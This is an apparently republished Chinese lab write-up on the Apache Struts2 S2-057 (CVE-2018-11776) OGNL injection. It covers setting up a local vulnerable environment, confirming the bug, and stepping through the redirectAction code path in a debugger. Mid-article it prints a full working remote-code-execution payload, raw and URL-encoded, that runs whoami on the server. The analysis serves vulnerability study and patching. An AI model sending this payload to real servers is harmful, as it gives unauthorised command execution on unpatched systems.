JAVA代审之Struts2漏洞S2-057的调试分析
Posted Tr0e
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了JAVA代审之Struts2漏洞S2-057的调试分析相关的知识,希望对你有一定的参考价值。
前言
2018 年 8 月 23 日,Apache Strust2 发布最新安全公告,Apache Struts2 存在远程代码执行的高危漏洞,该漏洞由 Semmle Security Research team 的安全研究员汇报,漏洞编号为 CVE-2018-11776(S2-057),漏洞影响版本:Struts 2.0.4-2.3.34, Struts 2.5.0-2.5.16。官方发布的漏洞公告详情:https://cwiki.apache.org/confluence/display/WW/S2-057。
IDEA调试
环境搭建
1、下载官方源码(https://github.com/apache/Struts),此处选择 2.3.34 版本:
2、把源码包中 src/apps/showcase 整个文件夹拷贝出来:
3、IDEA 导入该 maven 项目:
4、修改 src/main/resoureces 中的配置文件 struts-actionchaining.xml:
更改为:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.3//EN"
"http://struts.apache.org/dtds/struts-2.3.dtd">
<struts>
<package name="actionchaining" extends="struts-default">
<action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1">
<result type="redirectAction">
<param name = "actionName">register2</param>
</result>
</action>
<action name="actionChain2" class="org.apache.struts2.showcase.actionchaining.ActionChain2">
<result type="chain">xxx</result>
</action>
<action name="actionChain3" class="org.apache.struts2.showcase.actionchaining.ActionChain3">
<result type="postback">
<param name = "actionName">register2</param>
</result>
</action>
</package>
</struts>
5、接着设置 run/debug configurations, 添加本地 Tomcat 环境(需要提前在本地安装 Tomcat 环境):
6、添加项目 War 包 struts2-showcase.war 进 Tomcat 中:
7、配置完以上的准备工作,就可以直接 run 运行程序了:
8、浏览器访问http://localhost:8090/struts2_showcase_war/actionChain1.action
,本地部署漏洞环境完成:
漏洞验证
1、访问http://localhost:8090/struts2_showcase_war/$1+2/actionChain1.action
,URL 将重新 redirect 到:http://localhost:8090/struts2_showcase_war/3/register2.action
,可以看到 OGNL 表达式 $1+2 被解析为了 3,说明漏洞存在:
2、发送以下 Payload,可以成功执行 whoami 命令:
$(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?'cmd','/c',#cmd:'/bin/bash','-c',#cmd)).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())
[*]需进行URL编码再发送:
%24%7B%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23cmd%3D%27whoami%27%29.%28%23iswin%3D%28@java.lang.System@getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd%27%2C%27/c%27%2C%23cmd%7D%3A%7B%27/bin/bash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%23ros%3D%28@org.apache.struts2.ServletActionContext@getResponse%28%29.getOutputStream%28%29%29%29.%28@org.apache.commons.io.IOUtils@copy%28%23process.getInputStream%28%29%2C%23ros%29%29.%28%23ros.flush%28%29%29%7D
成功获得服务器的用户名信息:
3、进一步执行 ipconfig 命令:
调试分析
1、在 struts-actionchaining.xml 配置文件中,可以发现<result>
标签的 type是 redirectAction:
2、所以对应地找出 redirectAction 的处理类:org.apache.struts2.result.ServletActionRedirectResult:
3、在 org.apache.struts2.result.ServletActionRedirectResult 类的 execute 方法处下断点:
4、以调试模式运行程序,访问http://localhost:8090/struts2_showcase_war/$1+2/actionChain1.action
,程序将暂停到断点处:
5、可以看到,在处理 redirectAction 类型的跳转时的逻辑,先把namespace=“/$1+2”
和actionName=“regiter2”
封装到 ActionMapping 类型对象中,然后通过 getUriFromActionMapping 方法获取到完整 url 地址tmpLocation=“/$1+2/register2.action”
,并将其赋值给 this 对象的 location 属性,最后调用父类的 execute 方法:
6、单步执行到其父类的父类的 execute 方法如下,看到调用了 conditionalParse 方法,并把 location 属性值传递了进入:
7、跟入该方法,看到了如下调用,就很熟悉了,该方法就是解析 OGNL 表达式的方法,看到将上面的 location 值传了进去:
8、于是 “$1+2” 表达式就被成功解析了:
至此,OGNL 表达式成功执行。
漏洞修复
S2-057 漏洞存在于小于等于 Struts 2.3.34 和 Struts 2.5.16 的版本中,建议将框架版本升级到官方最新版本。
总结
本文参考文章:
以上是关于JAVA代审之Struts2漏洞S2-057的调试分析的主要内容,如果未能解决你的问题,请参考以下文章
新版发布:Struts2 S2-057远程代码执行漏洞预警V2.0
Struts2官网披露最新RCE漏洞S2-057(CVE-2018-11776)
高危漏洞预警:Struts2 远程命令执行漏洞(CVE-2018-11776/S2-057)